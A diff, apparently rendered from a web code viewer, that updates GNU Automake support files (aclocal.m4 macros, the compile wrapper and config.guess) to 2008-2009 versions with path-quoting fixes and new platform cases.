dnl Hook into `_AC_COMPILER_EXEEXT' early to learn its expansion. Do not
|
||||
dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further
|
||||
dnl mangled by Autoconf and run in a shell conditional statement.
|
||||
m4_define([_AC_COMPILER_EXEEXT],
|
||||
m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])])
|
||||
|
||||
|
||||
# When config.status generates a header, we must update the stamp-h file.
|
||||
# This file resides in the same directory as the config header
|
||||
@ -479,18 +533,19 @@ AC_PROVIDE_IFELSE([AC_PROG_OBJC],
|
||||
# our stamp files there.
|
||||
AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK],
|
||||
[# Compute $1's index in $config_headers.
|
||||
_am_arg=$1
|
||||
_am_stamp_count=1
|
||||
for _am_header in $config_headers :; do
|
||||
case $_am_header in
|
||||
$1 | $1:* )
|
||||
$_am_arg | $_am_arg:* )
|
||||
break ;;
|
||||
* )
|
||||
_am_stamp_count=`expr $_am_stamp_count + 1` ;;
|
||||
esac
|
||||
done
|
||||
echo "timestamp for $1" >`AS_DIRNAME([$1])`/stamp-h[]$_am_stamp_count])
|
||||
echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count])
|
||||
|
||||
# Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc.
|
||||
# Copyright (C) 2001, 2003, 2005, 2008 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
@ -501,7 +556,14 @@ echo "timestamp for $1" >`AS_DIRNAME([$1])`/stamp-h[]$_am_stamp_count])
|
||||
# Define $install_sh.
|
||||
AC_DEFUN([AM_PROG_INSTALL_SH],
|
||||
[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
|
||||
install_sh=${install_sh-"\$(SHELL) $am_aux_dir/install-sh"}
|
||||
if test x"${install_sh}" != xset; then
|
||||
case $am_aux_dir in
|
||||
*\ * | *\ *)
|
||||
install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;;
|
||||
*)
|
||||
install_sh="\${SHELL} $am_aux_dir/install-sh"
|
||||
esac
|
||||
fi
|
||||
AC_SUBST(install_sh)])
|
||||
|
||||
# Copyright (C) 2003, 2005 Free Software Foundation, Inc.
|
||||
@ -527,13 +589,13 @@ AC_SUBST([am__leading_dot])])
|
||||
|
||||
# Check to see how 'make' treats includes. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 2001, 2002, 2003, 2005 Free Software Foundation, Inc.
|
||||
# Copyright (C) 2001, 2002, 2003, 2005, 2009 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 3
|
||||
# serial 4
|
||||
|
||||
# AM_MAKE_INCLUDE()
|
||||
# -----------------
|
||||
@ -542,7 +604,7 @@ AC_DEFUN([AM_MAKE_INCLUDE],
|
||||
[am_make=${MAKE-make}
|
||||
cat > confinc << 'END'
|
||||
am__doit:
|
||||
@echo done
|
||||
@echo this is the am__doit target
|
||||
.PHONY: am__doit
|
||||
END
|
||||
# If we don't find an include directive, just comment out the code.
|
||||
@ -552,24 +614,24 @@ am__quote=
|
||||
_am_result=none
|
||||
# First try GNU make style include.
|
||||
echo "include confinc" > confmf
|
||||
# We grep out `Entering directory' and `Leaving directory'
|
||||
# messages which can occur if `w' ends up in MAKEFLAGS.
|
||||
# In particular we don't look at `^make:' because GNU make might
|
||||
# be invoked under some other name (usually "gmake"), in which
|
||||
# case it prints its new name instead of `make'.
|
||||
if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'`" = "done"; then
|
||||
# Ignore all kinds of additional output from `make'.
|
||||
case `$am_make -s -f confmf 2> /dev/null` in #(
|
||||
*the\ am__doit\ target*)
|
||||
am__include=include
|
||||
am__quote=
|
||||
_am_result=GNU
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
# Now try BSD make style include.
|
||||
if test "$am__include" = "#"; then
|
||||
echo '.include "confinc"' > confmf
|
||||
if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
|
||||
case `$am_make -s -f confmf 2> /dev/null` in #(
|
||||
*the\ am__doit\ target*)
|
||||
am__include=.include
|
||||
am__quote="\""
|
||||
_am_result=BSD
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
AC_SUBST([am__include])
|
||||
AC_SUBST([am__quote])
|
||||
@ -577,14 +639,14 @@ AC_MSG_RESULT([$_am_result])
|
||||
rm -f confinc confmf
|
||||
])
|
||||
|
||||
# Copyright (C) 1999, 2000, 2001, 2003, 2004, 2005
|
||||
# Copyright (C) 1999, 2000, 2001, 2003, 2004, 2005, 2008
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 5
|
||||
# serial 6
|
||||
|
||||
# AM_PROG_CC_C_O
|
||||
# --------------
|
||||
@ -596,8 +658,9 @@ AC_REQUIRE_AUX_FILE([compile])dnl
|
||||
# FIXME: we rely on the cache variable name because
|
||||
# there is no other way.
|
||||
set dummy $CC
|
||||
ac_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']`
|
||||
if eval "test \"`echo '$ac_cv_prog_cc_'${ac_cc}_c_o`\" != yes"; then
|
||||
am_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']`
|
||||
eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o
|
||||
if test "$am_t" != yes; then
|
||||
# Losing compiler, so override with the script.
|
||||
# FIXME: It is wrong to rewrite CC.
|
||||
# But if we don't then we get into trouble of one sort or another.
|
||||
@ -613,14 +676,14 @@ m4_define([AC_PROG_CC],
|
||||
|
||||
# Fake the existence of programs that GNU maintainers use. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1997, 1999, 2000, 2001, 2003, 2004, 2005
|
||||
# Copyright (C) 1997, 1999, 2000, 2001, 2003, 2004, 2005, 2008
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 5
|
||||
# serial 6
|
||||
|
||||
# AM_MISSING_PROG(NAME, PROGRAM)
|
||||
# ------------------------------
|
||||
@ -637,7 +700,14 @@ AC_SUBST($1)])
|
||||
AC_DEFUN([AM_MISSING_HAS_RUN],
|
||||
[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
|
||||
AC_REQUIRE_AUX_FILE([missing])dnl
|
||||
test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
|
||||
if test x"${MISSING+set}" != xset; then
|
||||
case $am_aux_dir in
|
||||
*\ * | *\ *)
|
||||
MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
|
||||
*)
|
||||
MISSING="\${SHELL} $am_aux_dir/missing" ;;
|
||||
esac
|
||||
fi
|
||||
# Use eval to expand $SHELL
|
||||
if eval "$MISSING --run true"; then
|
||||
am_missing_run="$MISSING --run "
|
||||
@ -675,13 +745,13 @@ esac
|
||||
|
||||
# Helper functions for option handling. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 2001, 2002, 2003, 2005 Free Software Foundation, Inc.
|
||||
# Copyright (C) 2001, 2002, 2003, 2005, 2008 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 3
|
||||
# serial 4
|
||||
|
||||
# _AM_MANGLE_OPTION(NAME)
|
||||
# -----------------------
|
||||
@ -698,7 +768,7 @@ AC_DEFUN([_AM_SET_OPTION],
|
||||
# ----------------------------------
|
||||
# OPTIONS is a space-separated list of Automake options.
|
||||
AC_DEFUN([_AM_SET_OPTIONS],
|
||||
[AC_FOREACH([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
|
||||
[m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
|
||||
|
||||
# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET])
|
||||
# -------------------------------------------
|
||||
@ -708,14 +778,14 @@ AC_DEFUN([_AM_IF_OPTION],
|
||||
|
||||
# Check to make sure that the build environment is sane. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005
|
||||
# Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005, 2008
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 4
|
||||
# serial 5
|
||||
|
||||
# AM_SANITY_CHECK
|
||||
# ---------------
|
||||
@ -724,16 +794,29 @@ AC_DEFUN([AM_SANITY_CHECK],
|
||||
# Just in case
|
||||
sleep 1
|
||||
echo timestamp > conftest.file
|
||||
# Reject unsafe characters in $srcdir or the absolute working directory
|
||||
# name. Accept space and tab only in the latter.
|
||||
am_lf='
|
||||
'
|
||||
case `pwd` in
|
||||
*[[\\\"\#\$\&\'\`$am_lf]]*)
|
||||
AC_MSG_ERROR([unsafe absolute working directory name]);;
|
||||
esac
|
||||
case $srcdir in
|
||||
*[[\\\"\#\$\&\'\`$am_lf\ \ ]]*)
|
||||
AC_MSG_ERROR([unsafe srcdir value: `$srcdir']);;
|
||||
esac
|
||||
|
||||
# Do `set' in a subshell so we don't clobber the current shell's
|
||||
# arguments. Must try -L first in case configure is actually a
|
||||
# symlink; some systems play weird games with the mod time of symlinks
|
||||
# (eg FreeBSD returns the mod time of the symlink's containing
|
||||
# directory).
|
||||
if (
|
||||
set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
|
||||
set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null`
|
||||
if test "$[*]" = "X"; then
|
||||
# -L didn't work.
|
||||
set X `ls -t $srcdir/configure conftest.file`
|
||||
set X `ls -t "$srcdir/configure" conftest.file`
|
||||
fi
|
||||
rm -f conftest.file
|
||||
if test "$[*]" != "X $srcdir/configure conftest.file" \
|
||||
@ -786,18 +869,25 @@ fi
|
||||
INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s"
|
||||
AC_SUBST([INSTALL_STRIP_PROGRAM])])
|
||||
|
||||
# Copyright (C) 2006 Free Software Foundation, Inc.
|
||||
# Copyright (C) 2006, 2008 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 2
|
||||
|
||||
# _AM_SUBST_NOTMAKE(VARIABLE)
|
||||
# ---------------------------
|
||||
# Prevent Automake from outputing VARIABLE = @VARIABLE@ in Makefile.in.
|
||||
# Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in.
|
||||
# This macro is traced by Automake.
|
||||
AC_DEFUN([_AM_SUBST_NOTMAKE])
|
||||
|
||||
# AM_SUBST_NOTMAKE(VARIABLE)
|
||||
# ---------------------------
|
||||
# Public sister of _AM_SUBST_NOTMAKE.
|
||||
AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)])
|
||||
|
||||
# Check how to create a tarball. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 2004, 2005 Free Software Foundation, Inc.
|
||||
|
21
auto/compile
21
auto/compile
@ -1,9 +1,10 @@
|
||||
#! /bin/sh
|
||||
# Wrapper for compilers which do not understand `-c -o'.
|
||||
|
||||
scriptversion=2005-05-14.22
|
||||
scriptversion=2009-10-06.20; # UTC
|
||||
|
||||
# Copyright (C) 1999, 2000, 2003, 2004, 2005 Free Software Foundation, Inc.
|
||||
# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2009 Free Software
|
||||
# Foundation, Inc.
|
||||
# Written by Tom Tromey <tromey@cygnus.com>.
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
@ -17,8 +18,7 @@ scriptversion=2005-05-14.22
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# As a special exception to the GNU General Public License, if you
|
||||
# distribute this file as part of a program that contains a
|
||||
@ -103,13 +103,13 @@ if test -z "$ofile" || test -z "$cfile"; then
|
||||
fi
|
||||
|
||||
# Name of file we expect compiler to create.
|
||||
cofile=`echo "$cfile" | sed -e 's|^.*/||' -e 's/\.c$/.o/'`
|
||||
cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'`
|
||||
|
||||
# Create the lock directory.
|
||||
# Note: use `[/.-]' here to ensure that we don't use the same name
|
||||
# Note: use `[/\\:.-]' here to ensure that we don't use the same name
|
||||
# that we are using for the .o file. Also, base the name on the expected
|
||||
# object file name, since that is what matters with a parallel build.
|
||||
lockdir=`echo "$cofile" | sed -e 's|[/.-]|_|g'`.d
|
||||
lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d
|
||||
while true; do
|
||||
if mkdir "$lockdir" >/dev/null 2>&1; then
|
||||
break
|
||||
@ -124,9 +124,9 @@ trap "rmdir '$lockdir'; exit 1" 1 2 15
|
||||
ret=$?
|
||||
|
||||
if test -f "$cofile"; then
|
||||
mv "$cofile" "$ofile"
|
||||
test "$cofile" = "$ofile" || mv "$cofile" "$ofile"
|
||||
elif test -f "${cofile}bj"; then
|
||||
mv "${cofile}bj" "$ofile"
|
||||
test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile"
|
||||
fi
|
||||
|
||||
rmdir "$lockdir"
|
||||
@ -138,5 +138,6 @@ exit $ret
|
||||
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||
# time-stamp-start: "scriptversion="
|
||||
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||
# time-stamp-end: "$"
|
||||
# time-stamp-time-zone: "UTC"
|
||||
# time-stamp-end: "; # UTC"
|
||||
# End:
|
||||
|
151
auto/config.guess
vendored
151
auto/config.guess
vendored
@ -1,10 +1,10 @@
|
||||
#! /bin/sh
|
||||
# Attempt to guess a canonical system name.
|
||||
# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
|
||||
# 2000, 2001, 2002, 2003, 2004, 2005, 2006 Free Software Foundation,
|
||||
# Inc.
|
||||
# 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009
|
||||
# Free Software Foundation, Inc.
|
||||
|
||||
timestamp='2006-07-02'
|
||||
timestamp='2009-06-10'
|
||||
|
||||
# This file is free software; you can redistribute it and/or modify it
|
||||
# under the terms of the GNU General Public License as published by
|
||||
@ -56,8 +56,8 @@ version="\
|
||||
GNU config.guess ($timestamp)
|
||||
|
||||
Originally written by Per Bothner.
|
||||
Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
|
||||
Free Software Foundation, Inc.
|
||||
Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001,
|
||||
2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
|
||||
|
||||
This is free software; see the source for copying conditions. There is NO
|
||||
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
|
||||
@ -161,6 +161,7 @@ case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
|
||||
arm*) machine=arm-unknown ;;
|
||||
sh3el) machine=shl-unknown ;;
|
||||
sh3eb) machine=sh-unknown ;;
|
||||
sh5el) machine=sh5le-unknown ;;
|
||||
*) machine=${UNAME_MACHINE_ARCH}-unknown ;;
|
||||
esac
|
||||
# The Operating System including object format, if it has switched
|
||||
@ -169,7 +170,7 @@ case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
|
||||
arm*|i386|m68k|ns32k|sh3*|sparc|vax)
|
||||
eval $set_cc_for_build
|
||||
if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \
|
||||
| grep __ELF__ >/dev/null
|
||||
| grep -q __ELF__
|
||||
then
|
||||
# Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout).
|
||||
# Return netbsd for either. FIX?
|
||||
@ -323,14 +324,30 @@ case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
|
||||
case `/usr/bin/uname -p` in
|
||||
sparc) echo sparc-icl-nx7; exit ;;
|
||||
esac ;;
|
||||
s390x:SunOS:*:*)
|
||||
echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
|
||||
exit ;;
|
||||
sun4H:SunOS:5.*:*)
|
||||
echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
|
||||
exit ;;
|
||||
sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
|
||||
echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
|
||||
exit ;;
|
||||
i86pc:SunOS:5.*:*)
|
||||
echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
|
||||
i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*)
|
||||
eval $set_cc_for_build
|
||||
SUN_ARCH="i386"
|
||||
# If there is a compiler, see if it is configured for 64-bit objects.
|
||||
# Note that the Sun cc does not turn __LP64__ into 1 like gcc does.
|
||||
# This test works for both compilers.
|
||||
if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then
|
||||
if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \
|
||||
(CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \
|
||||
grep IS_64BIT_ARCH >/dev/null
|
||||
then
|
||||
SUN_ARCH="x86_64"
|
||||
fi
|
||||
fi
|
||||
echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
|
||||
exit ;;
|
||||
sun4*:SunOS:6*:*)
|
||||
# According to config.sub, this is the proper way to canonicalize
|
||||
@ -531,7 +548,7 @@ EOF
|
||||
echo rs6000-ibm-aix3.2
|
||||
fi
|
||||
exit ;;
|
||||
*:AIX:*:[45])
|
||||
*:AIX:*:[456])
|
||||
IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
|
||||
if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
|
||||
IBM_ARCH=rs6000
|
||||
@ -639,7 +656,7 @@ EOF
|
||||
# => hppa64-hp-hpux11.23
|
||||
|
||||
if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) |
|
||||
grep __LP64__ >/dev/null
|
||||
grep -q __LP64__
|
||||
then
|
||||
HP_ARCH="hppa2.0w"
|
||||
else
|
||||
@ -780,7 +797,7 @@ EOF
|
||||
i*:CYGWIN*:*)
|
||||
echo ${UNAME_MACHINE}-pc-cygwin
|
||||
exit ;;
|
||||
i*:MINGW*:*)
|
||||
*:MINGW*:*)
|
||||
echo ${UNAME_MACHINE}-pc-mingw32
|
||||
exit ;;
|
||||
i*:windows32*:*)
|
||||
@ -790,15 +807,24 @@ EOF
|
||||
i*:PW*:*)
|
||||
echo ${UNAME_MACHINE}-pc-pw32
|
||||
exit ;;
|
||||
x86:Interix*:[3456]*)
|
||||
*:Interix*:[3456]*)
|
||||
case ${UNAME_MACHINE} in
|
||||
x86)
|
||||
echo i586-pc-interix${UNAME_RELEASE}
|
||||
exit ;;
|
||||
EM64T:Interix*:[3456]*)
|
||||
EM64T | authenticamd | genuineintel)
|
||||
echo x86_64-unknown-interix${UNAME_RELEASE}
|
||||
exit ;;
|
||||
IA64)
|
||||
echo ia64-unknown-interix${UNAME_RELEASE}
|
||||
exit ;;
|
||||
esac ;;
|
||||
[345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*)
|
||||
echo i${UNAME_MACHINE}-pc-mks
|
||||
exit ;;
|
||||
8664:Windows_NT:*)
|
||||
echo x86_64-pc-mks
|
||||
exit ;;
|
||||
i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
|
||||
# How do we know it's Interix rather than the generic POSIX subsystem?
|
||||
# It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
|
||||
@ -829,7 +855,14 @@ EOF
|
||||
echo ${UNAME_MACHINE}-pc-minix
|
||||
exit ;;
|
||||
arm*:Linux:*:*)
|
||||
eval $set_cc_for_build
|
||||
if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \
|
||||
| grep -q __ARM_EABI__
|
||||
then
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnu
|
||||
else
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnueabi
|
||||
fi
|
||||
exit ;;
|
||||
avr32*:Linux:*:*)
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnu
|
||||
@ -852,40 +885,17 @@ EOF
|
||||
m68*:Linux:*:*)
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnu
|
||||
exit ;;
|
||||
mips:Linux:*:*)
|
||||
mips:Linux:*:* | mips64:Linux:*:*)
|
||||
eval $set_cc_for_build
|
||||
sed 's/^ //' << EOF >$dummy.c
|
||||
#undef CPU
|
||||
#undef mips
|
||||
#undef mipsel
|
||||
#undef ${UNAME_MACHINE}
|
||||
#undef ${UNAME_MACHINE}el
|
||||
#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
|
||||
CPU=mipsel
|
||||
CPU=${UNAME_MACHINE}el
|
||||
#else
|
||||
#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
|
||||
CPU=mips
|
||||
#else
|
||||
CPU=
|
||||
#endif
|
||||
#endif
|
||||
EOF
|
||||
eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
|
||||
/^CPU/{
|
||||
s: ::g
|
||||
p
|
||||
}'`"
|
||||
test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
|
||||
;;
|
||||
mips64:Linux:*:*)
|
||||
eval $set_cc_for_build
|
||||
sed 's/^ //' << EOF >$dummy.c
|
||||
#undef CPU
|
||||
#undef mips64
|
||||
#undef mips64el
|
||||
#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
|
||||
CPU=mips64el
|
||||
#else
|
||||
#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
|
||||
CPU=mips64
|
||||
CPU=${UNAME_MACHINE}
|
||||
#else
|
||||
CPU=
|
||||
#endif
|
||||
@ -917,10 +927,13 @@ EOF
|
||||
EV67) UNAME_MACHINE=alphaev67 ;;
|
||||
EV68*) UNAME_MACHINE=alphaev68 ;;
|
||||
esac
|
||||
objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null
|
||||
objdump --private-headers /bin/sh | grep -q ld.so.1
|
||||
if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
|
||||
exit ;;
|
||||
padre:Linux:*:*)
|
||||
echo sparc-unknown-linux-gnu
|
||||
exit ;;
|
||||
parisc:Linux:*:* | hppa:Linux:*:*)
|
||||
# Look for CPU level
|
||||
case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
|
||||
@ -950,6 +963,9 @@ EOF
|
||||
x86_64:Linux:*:*)
|
||||
echo x86_64-unknown-linux-gnu
|
||||
exit ;;
|
||||
xtensa*:Linux:*:*)
|
||||
echo ${UNAME_MACHINE}-unknown-linux-gnu
|
||||
exit ;;
|
||||
i*86:Linux:*:*)
|
||||
# The BFD linker knows what the default object file format is, so
|
||||
# first see if it will tell us. cd to the root directory to prevent
|
||||
@ -965,17 +981,6 @@ EOF
|
||||
elf32-i386)
|
||||
TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu"
|
||||
;;
|
||||
a.out-i386-linux)
|
||||
echo "${UNAME_MACHINE}-pc-linux-gnuaout"
|
||||
exit ;;
|
||||
coff-i386)
|
||||
echo "${UNAME_MACHINE}-pc-linux-gnucoff"
|
||||
exit ;;
|
||||
"")
|
||||
# Either a pre-BFD a.out linker (linux-gnuoldld) or
|
||||
# one that does not give us useful --help.
|
||||
echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
|
||||
exit ;;
|
||||
esac
|
||||
# Determine whether the default compiler is a.out or elf
|
||||
eval $set_cc_for_build
|
||||
@ -1041,7 +1046,7 @@ EOF
|
||||
i*86:syllable:*:*)
|
||||
echo ${UNAME_MACHINE}-pc-syllable
|
||||
exit ;;
|
||||
i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
|
||||
i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*)
|
||||
echo i386-unknown-lynxos${UNAME_RELEASE}
|
||||
exit ;;
|
||||
i*86:*DOS:*:*)
|
||||
@ -1085,8 +1090,11 @@ EOF
|
||||
pc:*:*:*)
|
||||
# Left here for compatibility:
|
||||
# uname -m prints for DJGPP always 'pc', but it prints nothing about
|
||||
# the processor, so we play safe by assuming i386.
|
||||
echo i386-pc-msdosdjgpp
|
||||
# the processor, so we play safe by assuming i586.
|
||||
# Note: whatever this is, it MUST be the same as what config.sub
|
||||
# prints for the "djgpp" host, or else GDB configury will decide that
|
||||
# this is a cross-build.
|
||||
echo i586-pc-msdosdjgpp
|
||||
exit ;;
|
||||
Intel:Mach:3*:*)
|
||||
echo i386-pc-mach3
|
||||
@ -1124,6 +1132,16 @@ EOF
|
||||
3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
|
||||
/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
|
||||
&& { echo i486-ncr-sysv4; exit; } ;;
|
||||
NCR*:*:4.2:* | MPRAS*:*:4.2:*)
|
||||
OS_REL='.3'
|
||||
test -r /etc/.relid \
|
||||
&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
|
||||
/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
|
||||
&& { echo i486-ncr-sysv4.3${OS_REL}; exit; }
|
||||
/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
|
||||
&& { echo i586-ncr-sysv4.3${OS_REL}; exit; }
|
||||
/bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \
|
||||
&& { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
|
||||
m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
|
||||
echo m68k-unknown-lynxos${UNAME_RELEASE}
|
||||
exit ;;
|
||||
@ -1136,7 +1154,7 @@ EOF
|
||||
rs6000:LynxOS:2.*:*)
|
||||
echo rs6000-unknown-lynxos${UNAME_RELEASE}
|
||||
exit ;;
|
||||
PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*)
|
||||
PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*)
|
||||
echo powerpc-unknown-lynxos${UNAME_RELEASE}
|
||||
exit ;;
|
||||
SM[BE]S:UNIX_SV:*:*)
|
||||
@ -1199,6 +1217,9 @@ EOF
|
||||
BePC:BeOS:*:*) # BeOS running on Intel PC compatible.
|
||||
echo i586-pc-beos
|
||||
exit ;;
|
||||
BePC:Haiku:*:*) # Haiku running on Intel PC compatible.
|
||||
echo i586-pc-haiku
|
||||
exit ;;
|
||||
SX-4:SUPER-UX:*:*)
|
||||
echo sx4-nec-superux${UNAME_RELEASE}
|
||||
exit ;;
|
||||
@ -1208,6 +1229,15 @@ EOF
|
||||
SX-6:SUPER-UX:*:*)
|
||||
echo sx6-nec-superux${UNAME_RELEASE}
|
||||
exit ;;
|
||||
SX-7:SUPER-UX:*:*)
|
||||
echo sx7-nec-superux${UNAME_RELEASE}
|
||||
exit ;;
|
||||
SX-8:SUPER-UX:*:*)
|
||||
echo sx8-nec-superux${UNAME_RELEASE}
|
||||
exit ;;
|
||||
SX-8R:SUPER-UX:*:*)
|
||||
echo sx8r-nec-superux${UNAME_RELEASE}
|
||||
exit ;;
|
||||
Power*:Rhapsody:*:*)
|
||||
echo powerpc-apple-rhapsody${UNAME_RELEASE}
|
||||
exit ;;
|
||||
@ -1298,6 +1328,9 @@ EOF
|
||||
i*86:rdos:*:*)
|
||||
echo ${UNAME_MACHINE}-pc-rdos
|
||||
exit ;;
|
||||
i*86:AROS:*:*)
|
||||
echo ${UNAME_MACHINE}-pc-aros
|
||||
exit ;;
|
||||
esac
|
||||
|
||||
#echo '(No uname command or uname output not recognized.)' 1>&2
|
||||
